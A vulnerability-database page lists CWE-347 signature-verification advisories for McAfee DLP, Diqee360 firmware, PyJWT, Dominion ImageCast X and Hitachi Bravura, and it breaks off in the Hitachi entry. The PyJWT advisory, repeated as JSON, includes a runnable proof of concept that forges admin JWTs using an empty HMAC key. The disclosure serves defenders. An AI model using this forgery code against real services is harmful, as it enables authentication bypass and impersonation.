Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1438 vulnerabilities reference this CWE, most recent first.

GHSA-9H7X-WV5P-55Q4

Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31
VLAI
Details

Application Protections Bypass vulnerability in Microsoft Windows in McAfee Data Loss Prevention (DLP) Endpoint before 10.0.500 and DLP Endpoint before 11.0.400 allows authenticated users to bypass the product block action via a command-line utility.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-6664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-05-25T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "Application Protections Bypass vulnerability in Microsoft Windows in McAfee Data Loss Prevention (DLP) Endpoint before 10.0.500 and DLP Endpoint before 11.0.400 allows authenticated users to bypass the product block action via a command-line utility.",
  "id": "GHSA-9h7x-wv5p-55q4",
  "modified": "2022-05-13T01:31:58Z",
  "published": "2022-05-13T01:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6664"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10233"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10237"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104299"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040895"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9HRW-RG2R-V3PR

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

An issue was discovered on Diqee Diqee360 devices. A firmware update process, integrated into the firmware, starts at boot and tries to find the update folder on the microSD card. It executes code, without a digital signature, as root from the /mnt/sdcard/$PRO_NAME/upgrade.sh or /sdcard/upgrage_360/upgrade.sh pathname.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-10988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-05T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on Diqee Diqee360 devices. A firmware update process, integrated into the firmware, starts at boot and tries to find the update folder on the microSD card. It executes code, without a digital signature, as root from the /mnt/sdcard/$PRO_NAME/upgrade.sh or /sdcard/upgrage_360/upgrade.sh pathname.",
  "id": "GHSA-9hrw-rg2r-v3pr",
  "modified": "2022-05-13T01:48:59Z",
  "published": "2022-05-13T01:48:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10988"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/neolead/a1fadac07373835507705a7d61e638ae#file-cve-2018-10988-txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9J54-FG26-WV3R

Vulnerability from github – Published: 2026-09-29 23:43 – Updated: 2026-09-29 23:43
VLAI
Summary
PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation
Details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError


def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")


now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

{
    "kty": "oct",
    "k": "",
    "kid": "active",
    "alg": "HS256"
}

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

{
    "sub": "attacker",
    "admin": true,
    "exp": 1787100000
}

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:43:19Z",
    "nvd_published_at": "2026-09-28T21:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.\n\nPyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`.\n\nAn `oct` JWK containing an empty Base64URL key value:\n\n```json\n{\"kty\":\"oct\",\"k\":\"\"}\n```\n\nis decoded to `b\"\"`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.\n\nAn attacker can independently calculate `HMAC-SHA256(b\"\", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated.\n\nThe application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `\"k\": \"\"`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.\n\n### Details\n\nThe vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`.\n\n#### Raw empty HMAC keys are rejected\n\n[`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.\n\nAs a result, an empty raw key is rejected in PyJWT 2.13.0:\n\n```python\njwt.decode(token, b\"\", algorithms=[\"HS256\"])\n```\n\nwith `InvalidKeyError`.\n\n#### Empty `oct` JWKs decode to the same key but are accepted\n\n[`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.\n\nFor:\n\n```json\n{\n    \"kty\": \"oct\",\n    \"k\": \"\"\n}\n```\n\nthe empty Base64URL value is decoded to:\n\n```python\nb\"\"\n```\n\nand returned without an emptiness check.\n\n[`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`.\n\nThe resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path.\n\n#### `PyJWK` verification bypasses the raw-key validation\n\n[`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects.\n\nWhen a `PyJWK` is supplied, verification uses its already-decoded key directly:\n\n```python\nprepared_key = key.key\n```\n\nThe value is not passed through:\n\n```python\nalg_obj.prepare_key(key.key)\n```\n\nso the empty-key check in `HMACAlgorithm.prepare_key` is never reached.\n\nThe minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification.\n\nThe verifier therefore receives:\n\n```python\nb\"\"\n```\n\nas the HS256 key.\n\nThis creates the following difference for identical cryptographic key material:\n\n```text\nraw b\"\"\n    -\u003e HMACAlgorithm.prepare_key\n    -\u003e InvalidKeyError\n\n{\"kty\":\"oct\",\"k\":\"\"}\n    -\u003e HMACAlgorithm.from_jwk\n    -\u003e b\"\"\n    -\u003e PyJWK.key\n    -\u003e PyJWS._verify_signature\n    -\u003e HMAC verification with b\"\"\n    -\u003e accepted\n```\n\nBecause the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.\n\nThis is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.\n\nThe issue was reproduced against PyJWT 2.13.0 and commit:\n\n```text\n7144e4534c34810f4525dc4578a32addd8212cff\n```\n\nwhich was the tip of the public `master` branch at the time of testing.\n\n### PoC\n\nThe following PoC reproduces the issue on PyJWT 2.13.0.\n\nIt models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.\n\nInstall PyJWT 2.13.0:\n\n```bash\npython -m venv venv\nsource venv/bin/activate\npip install \"PyJWT==2.13.0\"\n```\n\nSave the following as `poc.py`:\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport time\nimport warnings\n\nimport jwt\nfrom jwt import PyJWKSet\nfrom jwt.exceptions import InvalidKeyError, InvalidSignatureError\n\n\ndef b64u(value: bytes) -\u003e bytes:\n    return base64.urlsafe_b64encode(value).rstrip(b\"=\")\n\n\nnow = int(time.time())\nheader = b64u(json.dumps({\"alg\": \"HS256\", \"kid\": \"active\"}, separators=(\",\", \":\")).encode())\npayload = b64u(\n    json.dumps(\n        {\"sub\": \"attacker\", \"admin\": True, \"iat\": now, \"exp\": now + 300},\n        separators=(\",\", \":\"),\n    ).encode()\n)\nsigning_input = header + b\".\" + payload\nforged = (\n    signing_input\n    + b\".\"\n    + b64u(hmac.new(b\"\", signing_input, hashlib.sha256).digest())\n).decode()\n\njwk = PyJWKSet.from_dict(\n    {\n        \"keys\": [\n            {\n                \"kty\": \"oct\",\n                \"k\": \"\",\n                \"kid\": \"active\",\n                \"alg\": \"HS256\",\n                \"use\": \"sig\",\n            }\n        ]\n    }\n)[\"active\"]\n\nwith warnings.catch_warnings():\n    warnings.simplefilter(\"ignore\")\n    claims = jwt.decode(\n        forged,\n        jwk,\n        algorithms=[\"HS256\"],\n        options={\"require\": [\"exp\"]},\n    )\n\nassert claims[\"sub\"] == \"attacker\"\nassert claims[\"admin\"] is True\nprint(\"VULNERABLE:\", claims)\n\ntry:\n    jwt.decode(forged, b\"\", algorithms=[\"HS256\"])\nexcept InvalidKeyError:\n    print(\"CONTROL raw empty key: rejected\")\nelse:\n    raise AssertionError(\"raw empty key was accepted\")\n\ntry:\n    jwt.decode(\n        forged,\n        jwk,\n        algorithms=[\"HS256\"],\n        options={\"enforce_minimum_key_length\": True},\n    )\nexcept InvalidKeyError:\n    print(\"CONTROL strict PyJWK: rejected\")\nelse:\n    raise AssertionError(\"strict PyJWK was accepted\")\n\nreal_key = PyJWKSet.from_dict(\n    {\n        \"keys\": [\n            {\n                \"kty\": \"oct\",\n                \"k\": \"cmVhbC1zZWNyZXQ\",\n                \"kid\": \"active\",\n                \"alg\": \"HS256\",\n            }\n        ]\n    }\n)[\"active\"]\n\ntry:\n    with warnings.catch_warnings():\n        warnings.simplefilter(\"ignore\")\n        jwt.decode(forged, real_key, algorithms=[\"HS256\"])\nexcept InvalidSignatureError:\n    print(\"CONTROL non-empty PyJWK: rejected\")\nelse:\n    raise AssertionError(\"non-empty PyJWK accepted an empty-key forgery\")\n```\n\nRun:\n\n```bash\npython poc.py\n```\n\nObserved output:\n\n```text\nVULNERABLE: {\u0027sub\u0027: \u0027attacker\u0027, \u0027admin\u0027: True, \u0027iat\u0027: \u003cnow\u003e, \u0027exp\u0027: \u003cnow+300\u003e}\nCONTROL raw empty key: rejected\nCONTROL strict PyJWK: rejected\nCONTROL non-empty PyJWK: rejected\n```\n\nThe first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`.\n\nThe first control supplies the same key material directly as `b\"\"`. PyJWT 2.13.0 rejects it with `InvalidKeyError`.\n\nThe second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`.\n\nThe third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`.\n\nI also reproduced the result through the following verification paths:\n\n```python\njwt.decode(token, PyJWK, algorithms=[\"HS256\"])\njwt.decode(token, PyJWK)\njwt.PyJWT().decode(token, PyJWK, algorithms=[\"HS256\"])\nPyJWS().decode(token, PyJWK, algorithms=[\"HS256\"])\n```\n\nAll accepted an HS256 token whose signature was generated using the zero-length HMAC key.\n\nAs an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key.\n\n### Impact\n\nThis is an authentication bypass caused by inconsistent validation of empty HMAC keys.\n\nAffected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.\n\nFor example, an application could and produces:\n\n```json\n{\n    \"kty\": \"oct\",\n    \"k\": \"\",\n    \"kid\": \"active\",\n    \"alg\": \"HS256\"\n}\n```\n\nwhen the expected Base64URL secret value is missing.\n\nOnce this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b\"\"` and can therefore calculate a valid HMAC for any signing input.\n\nThe attacker can choose arbitrary claims such as:\n\n```json\n{\n    \"sub\": \"attacker\",\n    \"admin\": true,\n    \"exp\": 1787100000\n}\n```\n\nand produce a signature that PyJWT accepts as valid.\n\nDepending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.\n\nValidation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.\n\nThe attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N\n\n## Maintainer update \u2014 2026-09-09\n\nWe reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b\"\"`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.\n\nThis is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT\u0027s public verification paths.\n\nThe fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm\u0027s `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered.\n\nThe full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.\n\nThe fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.\n\n## Classification update \u2014 2026-09-10\n\nWe completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.",
  "id": "GHSA-9j54-fg26-wv3r",
  "modified": "2026-09-29T23:43:19Z",
  "published": "2026-09-29T23:43:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102266"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT\u0027s empty-key validation"
}

GHSA-9J74-VWR9-QF7F

Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-07-06 00:00
VLAI
Details

The tested version of Dominion Voting Systems ImageCast X does not validate application signatures to a trusted root certificate. Use of a trusted root certificate ensures software installed on a device is traceable to, or verifiable against, a cryptographic key provided by the manufacturer to detect tampering. An attacker could leverage this vulnerability to install malicious code, which could also be spread to other vulnerable ImageCast X devices via removable media.

Severity
7.6 (High)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-1739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-24T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "The tested version of Dominion Voting Systems ImageCast X does not validate application signatures to a trusted root certificate. Use of a trusted root certificate ensures software installed on a device is traceable to, or verifiable against, a cryptographic key provided by the manufacturer to detect tampering. An attacker could leverage this vulnerability to install malicious code, which could also be spread to other vulnerable ImageCast X devices via removable media.",
  "id": "GHSA-9j74-vwr9-qf7f",
  "modified": "2022-07-06T00:00:29Z",
  "published": "2022-06-25T00:00:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1739"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-154-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9MCV-R5RJ-7F62

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

An issue was discovered in Hitachi ID Bravura Security Fabric 11.0.0 through 11.1.3, 12.0.0 through 12.0.2, and 12.1.0. When using federated identity management (authenticating via SAML through a third-party identity provider), an attacker can inject additional data into a signed SAML response being transmitted to the service provider (ID Bravura Security Fabric). The application successfully validates the signed values but uses the unsigned malicious values. An attacker with lower-privilege access to the application can inject the username of a high-privilege user to impersonate that user.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-09T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Hitachi ID Bravura Security Fabric 11.0.0 through 11.1.3, 12.0.0 through 12.0.2, and 12.1.0. When using federated identity management (authenticating via SAML through a third-party identity provider), an attacker can inject additional data into a signed SAML response being transmitted to the service provider (ID Bravura Security Fabric). The application successfully validates the signed values but uses the unsigned malicious values. An attacker with lower-privilege access to the application can inject the username of a high-privilege user to impersonate that user.",
  "id": "GHSA-9mcv-r5rj-7f62",
  "modified": "2022-05-24T19:04:33Z",
  "published": "2022-05-24T19:04:33Z",
  "references": [
    {
      "type": "ADVISORY",
